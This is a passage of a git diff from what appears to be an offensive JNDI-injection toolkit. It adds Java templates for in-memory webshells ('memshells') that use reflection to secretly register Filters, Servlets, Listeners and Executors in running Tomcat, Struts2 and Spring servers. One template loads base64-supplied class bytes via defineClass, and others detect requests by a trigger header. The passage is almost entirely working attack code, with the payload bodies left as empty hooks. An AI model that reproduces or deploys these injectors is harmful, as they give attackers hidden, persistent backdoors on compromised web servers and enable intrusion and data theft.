exchange.getResponse().writeWith(bufferStream); + } + return chain.filter(exchange); + } + + @Override + public Mono apply(MultiValueMap map) { + StringBuilder result = new StringBuilder(); + return Mono.just(new DefaultDataBufferFactory().wrap(executePayload(result, map).getBytes())); + } + + public String executePayload(StringBuilder sb, MultiValueMap map) { + return sb.toString(); + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/struts2/Struts2ActionMS.java b/src/main/java/com/qi4l/jndi/template/memshell/struts2/Struts2ActionMS.java new file mode 100644 index 0000000..22deec9 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/struts2/Struts2ActionMS.java @@ -0,0 +1,111 @@ +package com.qi4l.jndi.template.memshell.struts2; + +public class Struts2ActionMS { + public static String pattern; + + public static String thisClass; + + static { + try { + if (thisClass != null) { + ClassLoader loader = Thread.currentThread().getContextClassLoader(); + + // 用 Context ClassLoader 加载,防止映射后再访问不到 + String selfName = Struts2ActionMS.class.getName(); + byte[] classBytes = base64Decode(thisClass); + + Class loaderClass = Class.forName("java.lang.ClassLoader", false, loader); + java.lang.reflect.Method defineClass = loaderClass.getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE); + defineClass.setAccessible(true); + defineClass.invoke(loader, selfName, classBytes, Integer.valueOf("0"), classBytes.length); + + Class actionContextClass = Class.forName("com.opensymphony.xwork2.ActionContext", false, loader); + + pattern = pattern.substring(1); + java.lang.reflect.Field filed = actionContextClass.getDeclaredField("actionContext"); + filed.setAccessible(true); + ThreadLocal context = (ThreadLocal) filed.get(null); + Object con = context.get(); + java.lang.reflect.Method method = actionContextClass.getDeclaredMethod("getActionInvocation", (Class) null); + method.setAccessible(true); + Object inv = method.invoke(con); + Object invObj = getFieldValue(inv, "proxy"); + Object configuration = getFieldValue(invObj, "configuration"); + Object runtimeConf = getFieldValue(configuration, "runtimeConfiguration"); + Object map = getFieldValue(runtimeConf, "namespaceActionConfigs"); + java.util.Map m = (java.util.Map) getFieldValue(map, "m"); + + java.lang.reflect.Constructor constructor = Class.forName("com.opensymphony.xwork2.config.entities.ActionConfig", false, loader).getDeclaredConstructor(new Class[]{String.class, String.class, String.class}); + constructor.setAccessible(true); + Object actionConfig = constructor.newInstance("", pattern, selfName); + + // 这里常见的 context 是 "" 或者 "/",在额外配置的时候可能需要额外处理 + java.util.LinkedHashMap o1 = (java.util.LinkedHashMap) m.get(""); + + if (o1 == null) { + o1 = (java.util.LinkedHashMap) m.get("/"); + } + + o1.put(pattern, actionConfig); + } + } catch (Exception ignored) { + } + } + + public static Object getFieldValue(Object obj, String fieldName) throws Exception { + java.lang.reflect.Field f = null; + if (obj instanceof java.lang.reflect.Field) { + f = (java.lang.reflect.Field) obj; + } else { + Class cs = obj.getClass(); + while (cs != null) { + try { + f = cs.getDeclaredField(fieldName); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + } + f.setAccessible(true); + return f.get(obj); + } + + public static byte[] base64Decode(String bs) throws Exception { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[]{}).invoke(null, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + public String execute() throws Exception { + Class actionContextClass = Class.forName("com.opensymphony.xwork2.ActionContext"); + java.lang.reflect.Method getContextMethod = actionContextClass.getDeclaredMethod("getContext", (Class) null); + getContextMethod.setAccessible(true); + Object actionContext = getContextMethod.invoke(null); + java.lang.reflect.Method get = actionContextClass.getDeclaredMethod("get", String.class); + get.setAccessible(true); + Object req = get.invoke(actionContext, "com.opensymphony.xwork2.dispatcher.HttpServletRequest"); + Class wrapperClass = Class.forName("javax.servlet.ServletRequestWrapper"); + java.lang.reflect.Method method = wrapperClass.getDeclaredMethod("getRequest", (Class) null); + method.setAccessible(true); + Object realObj = method.invoke(req); + Object resp = get.invoke(actionContext, "com.opensymphony.xwork2.dispatcher.HttpServletResponse"); + executeAction(realObj, resp); + return null; + } + + public void executeAction(Object request, Object response) { + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TEXMSFromThread.java b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TEXMSFromThread.java new file mode 100644 index 0000000..5d89c4d --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TEXMSFromThread.java @@ -0,0 +1,78 @@ +package com.qi4l.jndi.template.memshell.tomcat; + +import org.apache.catalina.core.StandardThreadExecutor; +import org.apache.tomcat.util.net.NioEndpoint; +import org.apache.tomcat.util.threads.ThreadPoolExecutor; + +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.ThreadFactory; +import java.util.concurrent.TimeUnit; + +/** + * Tomcat Executor 内存马 + */ +public class TEXMSFromThread extends ThreadPoolExecutor { + static { + try { + ThreadPoolExecutor exec = null; + NioEndpoint nioEndpoint = (NioEndpoint) getStandardService(); + try { + exec = (ThreadPoolExecutor) getFieldValue(nioEndpoint, "executor"); + } catch (ClassCastException e) { + StandardThreadExecutor standardExec = (StandardThreadExecutor) getFieldValue(nioEndpoint, "executor"); + exec = (ThreadPoolExecutor) getFieldValue(standardExec, "executor"); + } + TEXMSFromThread exe = new TEXMSFromThread(exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), (java.util.concurrent.RejectedExecutionHandler) exec.getRejectedExecutionHandler()); + nioEndpoint.setExecutor(exe); + } catch (Exception ignored) { + } + } + + public TEXMSFromThread(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue workQueue, ThreadFactory threadFactory, java.util.concurrent.RejectedExecutionHandler handler) { + super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler); + } + + public static Object getStandardService() throws Exception { + Thread[] threads = (Thread[]) getFieldValue(Thread.currentThread().getThreadGroup(), "threads"); + for (Thread thread : threads) { + if (thread == null) { + continue; + } + if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) { + Object target = getFieldValue(thread, "target"); + Object jioEndPoint = null; + try { + jioEndPoint = getFieldValue(target, "this$0"); + } catch (Exception e) { + e.printStackTrace(); + } + + return jioEndPoint == null ? getFieldValue(target, "endpoint") : jioEndPoint; + } + } + return new Object(); + } + + public static Object getFieldValue(Object obj, String fieldName) throws Exception { + java.lang.reflect.Field f = null; + if (obj instanceof java.lang.reflect.Field) { + f = (java.lang.reflect.Field) obj; + } else { + Class cs = obj.getClass(); + while (cs != null) { + try { + f = cs.getDeclaredField(fieldName); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + } + f.setAccessible(true); + return f.get(obj); + } + + @Override + public void execute(Runnable command) { + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromRequestF.java b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromRequestF.java new file mode 100644 index 0000000..e7022cf --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromRequestF.java @@ -0,0 +1,193 @@ +package com.qi4l.jndi.template.memshell.tomcat; + +import org.apache.catalina.LifecycleState; +import org.apache.catalina.core.StandardContext; +import org.apache.catalina.util.LifecycleBase; + +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.EnumSet; +import java.util.List; + + +/** + * 遍历线程组,在 request 中查找带有特定 Header 的请求,并从 request 获取 ServletContext 添加 Filter 型内存马 + * 添加成功后,会回显 Success 字样,参考 ShiroAttack2 + */ +public class TFMSFromRequestF implements Filter { + public static HttpServletRequest request = null; + + public static HttpServletResponse response = null; + + public static String pattern; + + public static String NAME; + + public static String HEADER_KEY; + + public static String HEADER_VALUE; + + static { + getRequestAndResponse(); + if (request != null && response != null) { + addFilter(); + } + } + + public static void getRequestAndResponse() { + try { + boolean flag = false; + Thread[] threads = (Thread[]) getFieldValue(Thread.currentThread().getThreadGroup(), "threads"); + + for (int i = 0; i < threads.length; ++i) { + Thread thread = threads[i]; + if (thread != null) { + String threadName = thread.getName(); + if (!threadName.contains("exec") && threadName.contains("http")) { + Object target = getFieldValue(thread, "target"); + if (target instanceof Runnable) { + try { + target = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "global"); + } catch (Exception ignored) { + continue; + } + + List processors = (List) getFieldValue(target, "processors"); + + for (int j = 0; j < processors.size(); ++j) { + Object processor = processors.get(j); + target = getFieldValue(processor, "req"); + Object req = target.getClass().getMethod("getNote", Integer.TYPE).invoke(target, new Integer(1)); + String value = (String) req.getClass().getMethod("getHeader", String.class).invoke(req, new String(HEADER_KEY)); + if (value != null && value.contains(HEADER_VALUE)) { + request = (HttpServletRequest) req; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(req, "request"), "response"); + } catch (Exception ignored) { + try { + response = (HttpServletResponse) req.getClass().getMethod("getResponse", (Class[]) null).invoke(req, (Object[]) null); + } catch (Exception ignored2) { + } + } + flag = true; + } + + if (flag) { + break; + } + } + } + } + } + } + } catch (Exception ignored) { + } + } + + public static Object getFieldValue(Object obj, String fieldName) throws Exception { + java.lang.reflect.Field f = null; + if (obj instanceof java.lang.reflect.Field) { + f = (java.lang.reflect.Field) obj; + } else { + Class cs = obj.getClass(); + while (cs != null) { + try { + f = cs.getDeclaredField(fieldName); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + } + f.setAccessible(true); + return f.get(obj); + } + + + public static void addFilter() { + ServletContext servletContext = request.getServletContext(); + Filter filter = new TFMSFromRequestF(); + String filterName = NAME; + String url = pattern; + if (servletContext.getFilterRegistration(filterName) == null) { + StandardContext standardContext = null; + Field stateField = null; + FilterRegistration.Dynamic filterRegistration = null; + + try { + standardContext = (StandardContext) getFieldValue(getFieldValue(servletContext, "context"), "context"); + stateField = LifecycleBase.class.getDeclaredField("state"); + stateField.setAccessible(true); + stateField.set(standardContext, LifecycleState.STARTING_PREP); + filterRegistration = servletContext.addFilter(filterName, filter); + filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url}); + Method filterStartMethod = StandardContext.class.getMethod("filterStart"); + filterStartMethod.setAccessible(true); + filterStartMethod.invoke(standardContext, (Object[]) null); + stateField.set(standardContext, LifecycleState.STARTED); + + Class filterMap; + try { + filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); + } catch (Exception var27) { + filterMap = Class.forName("org.apache.catalina.deploy.FilterMap"); + } + + Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps"); + Object[] filterMaps = (Object[]) ((Object[]) ((Object[]) findFilterMaps.invoke(standardContext))); + + for (int i = 0; i < filterMaps.length; ++i) { + Object filterMapObj = filterMaps[i]; + findFilterMaps = filterMap.getMethod("getFilterName"); + String name = (String) findFilterMaps.invoke(filterMapObj); + if (name.equalsIgnoreCase(filterName)) { + filterMaps[i] = filterMaps[0]; + filterMaps[0] = filterMapObj; + } + } + + writeResponse("Success"); + } catch (Exception ignored) { + } finally { + try { + stateField.set(standardContext, LifecycleState.STARTED); + } catch (IllegalAccessException ignored) { + } + + } + } else { + try { + writeResponse("Filter already exists"); + } catch (Exception ignored) { + } + } + } + + public static void writeResponse(String result) { + try { + response.setContentType("text/html"); + request.setCharacterEncoding("UTF-8"); + response.setCharacterEncoding("UTF-8"); + response.getWriter().print(result); + response.getWriter().flush(); + response.getWriter().close(); + } catch (Exception ignored) { + } + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromRequestS.java b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromRequestS.java new file mode 100644 index 0000000..4dafe5b --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromRequestS.java @@ -0,0 +1,255 @@ +package com.qi4l.jndi.template.memshell.tomcat; + + +import org.apache.catalina.Wrapper; +import org.apache.catalina.core.ApplicationContext; +import org.apache.catalina.core.ApplicationContextFacade; +import org.apache.catalina.core.ApplicationServletRegistration; +import org.apache.catalina.core.StandardContext; + +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.lang.reflect.Array; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; + +/** + * 遍历线程组,在 request 中查找带有特定 Referer 的请求,并从 request 获取 ServletContext 添加 Servlet 型内存马 + * 添加成功后,会回显 Success 字样,参考 ShiroAttack2 + */ +public class TFMSFromRequestS implements Servlet { + public static HttpServletRequest request = null; + + public static HttpServletResponse response = null; + + public static String pattern; + + public static String NAME; + public static String HEADER_KEY; + public static String HEADER_VALUE; + + static { + getRequestAndResponse(); + if (request != null && response != null) { + addServlet(); + } + } + + + public static void getRequestAndResponse() { + try { + boolean flag = false; + Thread[] threads = (Thread[]) getFieldValue(Thread.currentThread().getThreadGroup(), "threads"); + + for (int i = 0; i < threads.length; ++i) { + Thread thread = threads[i]; + if (thread != null) { + String threadName = thread.getName(); + if (!threadName.contains("exec") && threadName.contains("http")) { + Object target = getFieldValue(thread, "target"); + if (target instanceof Runnable) { + try { + target = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "global"); + } catch (Exception ignored) { + continue; + } + + List processors = (List) getFieldValue(target, "processors"); + + for (int j = 0; j < processors.size(); ++j) { + Object processor = processors.get(j); + target = getFieldValue(processor, "req"); + Object req = target.getClass().getMethod("getNote", Integer.TYPE).invoke(target, new Integer(1)); + String value = (String) req.getClass().getMethod("getHeader", String.class).invoke(req, new String(HEADER_KEY)); + if (value != null && value.contains(HEADER_VALUE)) { + request = (HttpServletRequest) req; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(req, "request"), "response"); + } catch (Exception ignored) { + try { + response = (HttpServletResponse) getMethodAndInvoke(req, "getResponse", null, null); + } catch (Exception ignored2) { + } + } + flag = true; + } + + if (flag) { + break; + } + } + } + } + } + } + } catch (Exception ignored) { + } + } + + public static Object getFieldValue(Object obj, String fieldName) throws Exception { + java.lang.reflect.Field f = null; + if (obj instanceof java.lang.reflect.Field) { + f = (java.lang.reflect.Field) obj; + } else { + Class cs = obj.getClass(); + while (cs != null) { + try { + f = cs.getDeclaredField(fieldName); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + } + f.setAccessible(true); + return f.get(obj); + } + + + public static void addServlet() { + try { + ServletContext servletContext = request.getServletContext(); + ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext; + Field applicationContextField = applicationContextFacade.getClass().getDeclaredField("context"); + applicationContextField.setAccessible(true); + ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(applicationContextFacade); + Field standardContextField = applicationContext.getClass().getDeclaredField("context"); + standardContextField.setAccessible(true); + StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); + Wrapper wrapper = standardContext.createWrapper(); + wrapper.setName(NAME); + standardContext.addChild(wrapper); + + Servlet servlet = new TFMSFromRequestS(); + wrapper.setServletClass(servlet.getClass().getName()); + + wrapper.setServlet(servlet); + ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, standardContext); + registration.addMapping(new String[]{pattern}); + registration.setLoadOnStartup(1); + if (getMethodByClass(wrapper.getClass(), "setServlet", new Class[]{Servlet.class}) == null) { + transform(standardContext, pattern); + servlet.init((ServletConfig) getFieldValue(wrapper, "facade")); + } + + response.setContentType("text/html"); + request.setCharacterEncoding("UTF-8"); + response.setCharacterEncoding("UTF-8"); + response.getWriter().print("Success"); + response.getWriter().flush(); + response.getWriter().close(); + } catch (Exception ignored) { + } + } + + + public static void transform(Object standardContext, String path) throws Exception { + Object containerBase = getMethodAndInvoke(standardContext, "getParent", null, null); + Class mapperListenerClass = Class.forName("org.apache.catalina.connector.MapperListener", false, containerBase.getClass().getClassLoader()); + Field listenersField = Class.forName("org.apache.catalina.core.ContainerBase", false, containerBase.getClass().getClassLoader()).getDeclaredField("listeners"); + listenersField.setAccessible(true); + ArrayList listeners = (ArrayList) listenersField.get(containerBase); + + for (int i = 0; i < listeners.size(); ++i) { + Object mapperListener_Mapper = listeners.get(i); + if (mapperListener_Mapper != null && mapperListenerClass.isAssignableFrom(mapperListener_Mapper.getClass())) { + Object mapperListener_Mapper2 = getFieldValue(mapperListener_Mapper, "mapper"); + Object mapperListener_Mapper_hosts = getFieldValue(mapperListener_Mapper2, "hosts"); + + for (int j = 0; j < Array.getLength(mapperListener_Mapper_hosts); ++j) { + Object mapperListener_Mapper_host = Array.get(mapperListener_Mapper_hosts, j); + Object mapperListener_Mapper_hosts_contextList = getFieldValue(mapperListener_Mapper_host, "contextList"); + Object mapperListener_Mapper_hosts_contextList_contexts = getFieldValue(mapperListener_Mapper_hosts_contextList, "contexts"); + + for (int k = 0; k < Array.getLength(mapperListener_Mapper_hosts_contextList_contexts); ++k) { + Object mapperListener_Mapper_hosts_contextList_context = Array.get(mapperListener_Mapper_hosts_contextList_contexts, k); + if (standardContext.equals(getFieldValue(mapperListener_Mapper_hosts_contextList_context, "object"))) { + new ArrayList(); + Object standardContext_Mapper = getMethodAndInvoke(standardContext, "getMapper", null, null); + Object standardContext_Mapper_Context = getFieldValue(standardContext_Mapper, "context"); + Object standardContext_Mapper_Context_exactWrappers = getFieldValue(standardContext_Mapper_Context, "exactWrappers"); + Object mapperListener_Mapper_hosts_contextList_context_exactWrappers = getFieldValue(mapperListener_Mapper_hosts_contextList_context, "exactWrappers"); + + int l; + Object Mapper_Wrapper; + Method addWrapperMethod; + for (l = 0; l < Array.getLength(mapperListener_Mapper_hosts_contextList_context_exactWrappers); ++l) { + Mapper_Wrapper = Array.get(mapperListener_Mapper_hosts_contextList_context_exactWrappers, l); + if (path.equals(getFieldValue(Mapper_Wrapper, "name"))) { + addWrapperMethod = mapperListener_Mapper2.getClass().getDeclaredMethod("removeWrapper", mapperListener_Mapper_hosts_contextList_context.getClass(), String.class); + addWrapperMethod.setAccessible(true); + addWrapperMethod.invoke(mapperListener_Mapper2, mapperListener_Mapper_hosts_contextList_context, path); + } + } + + for (l = 0; l < Array.getLength(standardContext_Mapper_Context_exactWrappers); ++l) { + Mapper_Wrapper = Array.get(standardContext_Mapper_Context_exactWrappers, l); + if (path.equals(getFieldValue(Mapper_Wrapper, "name"))) { + addWrapperMethod = mapperListener_Mapper2.getClass().getDeclaredMethod("addWrapper", mapperListener_Mapper_hosts_contextList_context.getClass(), String.class, Object.class); + addWrapperMethod.setAccessible(true); + addWrapperMethod.invoke(mapperListener_Mapper2, mapperListener_Mapper_hosts_contextList_context, path, getFieldValue(Mapper_Wrapper, "object")); + } + } + } + } + } + } + } + } + + public static java.lang.reflect.Method getMethodByClass(Class cs, String methodName, Class[] parameters) { + java.lang.reflect.Method method = null; + while (cs != null) { + try { + method = cs.getDeclaredMethod(methodName, parameters); + method.setAccessible(true); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + return method; + } + + public static Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) { + try { + java.lang.reflect.Method method = getMethodByClass(obj.getClass(), methodName, parameterClass); + if (method != null) { + + Class clazz = Class.forName("sun.reflect.NativeMethodAccessorImpl"); + java.lang.reflect.Method m = clazz.getDeclaredMethod("invoke0", new Class[]{java.lang.reflect.Method.class, Object.class, Object[].class}); + m.setAccessible(true); + return m.invoke(null, new Object[]{method, obj, parameters}); + } + } catch (Exception ignored) { + } + return null; + } + + + @Override + public void init(ServletConfig servletConfig) throws ServletException { + } + + @Override + public ServletConfig getServletConfig() { + return null; + } + + @Override + public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { + } + + @Override + public String getServletInfo() { + return null; + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadF.java b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadF.java new file mode 100644 index 0000000..b536866 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadF.java @@ -0,0 +1,94 @@ +package com.qi4l.jndi.template.memshell.tomcat; + +import org.apache.catalina.Context; +import org.apache.catalina.core.ApplicationFilterConfig; +import org.apache.catalina.core.StandardContext; +import org.apache.catalina.loader.WebappClassLoaderBase; +import org.apache.tomcat.util.descriptor.web.FilterDef; +import org.apache.tomcat.util.descriptor.web.FilterMap; + +import javax.servlet.*; +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.util.Map; + +/** + * 使用线程注入 Tomcat Filter 型内存马 + * + * @author QI4L + */ +public class TFMSFromThreadF implements Filter { + + public static String pattern; + + public static String NAME; + + static { + try { + WebappClassLoaderBase webappClassLoaderBase = + (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); + + StandardContext standardContext; + + try { + standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); + } catch (Exception ignored) { + Field field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources"); + field.setAccessible(true); + Object root = field.get(webappClassLoaderBase); + Field field2 = root.getClass().getDeclaredField("context"); + field2.setAccessible(true); + + standardContext = (StandardContext) field2.get(root); + } + + Class aClass = null; + try { + aClass = (Class) standardContext.getClass().getSuperclass(); + aClass.getDeclaredField("filterConfigs"); + } catch (Exception e) { + aClass = standardContext.getClass(); + aClass.getDeclaredField("filterConfigs"); + } + Field Configs = aClass.getDeclaredField("filterConfigs"); + Configs.setAccessible(true); + Map filterConfigs = (Map) Configs.get(standardContext); + + TFMSFromThreadF behinderFilter = new TFMSFromThreadF(); + + FilterDef filterDef = new FilterDef(); + filterDef.setFilter(behinderFilter); + filterDef.setFilterName(NAME); + filterDef.setFilterClass(behinderFilter.getClass().getName()); + + standardContext.addFilterDef(filterDef); + + FilterMap filterMap = new FilterMap(); + filterMap.addURLPattern(pattern); + filterMap.setFilterName(NAME); + filterMap.setDispatcher(DispatcherType.REQUEST.name()); + + standardContext.addFilterMapBefore(filterMap); + + Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); + constructor.setAccessible(true); + ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); + + filterConfigs.put(NAME, filterConfig); + } catch (Exception ignored) { + } + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadLi.java b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadLi.java new file mode 100644 index 0000000..b166b3a --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadLi.java @@ -0,0 +1,64 @@ +package com.qi4l.jndi.template.memshell.tomcat; + +import org.apache.catalina.connector.Request; +import org.apache.catalina.connector.RequestFacade; +import org.apache.catalina.connector.Response; +import org.apache.catalina.core.StandardContext; +import org.apache.catalina.loader.WebappClassLoaderBase; + +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Field; + +/** + * 使用线程注入 Tomcat Listener 型内存马 + */ +public class TFMSFromThreadLi implements ServletRequestListener { + static { + try { + // 获取 standardContext + WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); + + StandardContext standardContext; + + try { + standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); + } catch (Exception ignored) { + Field field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources"); + field.setAccessible(true); + Object root = field.get(webappClassLoaderBase); + Field field2 = root.getClass().getDeclaredField("context"); + field2.setAccessible(true); + + standardContext = (StandardContext) field2.get(root); + } + + TFMSFromThreadLi listener = new TFMSFromThreadLi(); + standardContext.addApplicationEventListener(listener); + } catch (Exception ignored) { + } + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + try { + RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest(); + Field field = requestFacade.getClass().getDeclaredField("request"); + field.setAccessible(true); + Request request = (Request) field.get(requestFacade); + Response response = request.getResponse(); + requestInitializedHandle(request, response); + } catch (Exception ignore) { + } + } + + public void requestInitializedHandle(HttpServletRequest request, HttpServletResponse response) { + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadS.java b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadS.java new file mode 100644 index 0000000..58b83b9 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadS.java @@ -0,0 +1,79 @@ +package com.qi4l.jndi.template.memshell.tomcat; + +import org.apache.catalina.Wrapper; +import org.apache.catalina.core.ApplicationServletRegistration; +import org.apache.catalina.core.StandardContext; +import org.apache.catalina.loader.WebappClassLoaderBase; + +import javax.servlet.*; +import java.lang.reflect.Field; + +/** + * 使用线程注入 Tomcat Servlet 型内存马 + * + * @author QI4L + */ +public class TFMSFromThreadS implements Servlet { + + public static String pattern; + + public static String NAME; + + static { + try { + // 获取 standardContext + WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); + + StandardContext standardContext; + + try { + standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); + } catch (Exception ignored) { + Field field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources"); + field.setAccessible(true); + Object root = field.get(webappClassLoaderBase); + Field field2 = root.getClass().getDeclaredField("context"); + field2.setAccessible(true); + + standardContext = (StandardContext) field2.get(root); + } + + + if (standardContext.findChild(NAME) == null) { + Wrapper wrapper = standardContext.createWrapper(); + wrapper.setName(NAME); + standardContext.addChild(wrapper); + Servlet servlet = new TFMSFromThreadS(); + + wrapper.setServletClass(servlet.getClass().getName()); + wrapper.setServlet(servlet); + ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, standardContext); + registration.addMapping(pattern); + } + } catch (Exception ignored) { + } + } + + @Override + public void init(ServletConfig servletConfig) throws ServletException { + + } + + @Override + public ServletConfig getServletConfig() { + return null; + } + + @Override + public void service(ServletRequest servletRequest, ServletResponse servletResponse) { + } + + @Override + public String getServletInfo() { + return null; + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TLMSFromJMXLi.java b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TLMSFromJMXLi.java new file mode 100644 index 0000000..eedce39 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TLMSFromJMXLi.java @@ -0,0 +1,81 @@ +package com.qi4l.jndi.template.memshell.tomcat; + +import com.sun.jmx.mbeanserver.NamedObject; +import com.sun.jmx.mbeanserver.Repository; +import org.apache.catalina.connector.Request; +import org.apache.catalina.connector.RequestFacade; +import org.apache.catalina.connector.Response; +import org.apache.catalina.core.StandardContext; +import org.apache.tomcat.util.modeler.Registry; + +import javax.management.DynamicMBean; +import javax.management.MBeanServer; +import javax.management.ObjectName; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Field; +import java.util.Set; + +/** + * 使用 JMX Bean 注入 Tomcat Listener 型内存马 + * + * @author QI4L + */ +public class TLMSFromJMXLi implements ServletRequestListener { + + static { + try { + MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer(); + Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); + field.setAccessible(true); + Object obj = field.get(mbeanServer); + + field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); + field.setAccessible(true); + Repository repository = (Repository) field.get(obj); + + Set objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null); + if (objectSet.size() == 0) { + // springboot的jmx中为Tomcat而非Catalina + objectSet = repository.query(new ObjectName("Tomcat:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null); + } + + for (NamedObject namedObject : objectSet) { + DynamicMBean dynamicMBean = namedObject.getObject(); + field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"); + field.setAccessible(true); + obj = field.get(dynamicMBean); + + field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context"); + field.setAccessible(true); + StandardContext standardContext = (StandardContext) field.get(obj); + + TLMSFromJMXLi listener = new TLMSFromJMXLi(); + standardContext.addApplicationEventListener(listener); + } + } catch (Exception ignored) { + } + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { 